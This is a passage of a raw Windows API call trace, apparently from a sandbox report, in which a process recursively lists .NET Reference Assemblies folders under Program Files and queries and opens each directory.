dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0080.070] GetLastError () returned 0x12 [0080.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.070] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.070] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0080.070] GetLastError () returned 0x12 [0080.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.070] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 0 [0080.071] GetLastError () returned 0x12 [0080.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.071] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.071] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0080.071] GetLastError () returned 0x12 [0080.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.071] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.072] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0080.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.072] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.072] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.073] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.073] NtClose (Handle=0x174) returned 0x0 [0080.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.073] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0080.074] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.074] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0080.074] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0080.074] GetLastError () returned 0x12 [0080.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.074] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.074] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.074] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0080.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.074] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.074] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.075] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.075] NtClose (Handle=0x174) returned 0x0 [0080.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0080.076] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.076] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 1 [0080.076] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 0 [0080.076] GetLastError () returned 0x12 [0080.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.076] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.076] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.076] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 1 [0080.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.076] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.076] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.077] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.077] NtClose (Handle=0x174) returned 0x0 [0080.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0080.077] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.078] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0080.078] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0080.078] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0080.078] GetLastError () returned 0x12 [0080.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.078] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.078] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.078] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0080.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.078] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.078] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.079] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.079] NtClose (Handle=0x174) returned 0x0 [0080.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.085] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.085] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0080.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.086] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, 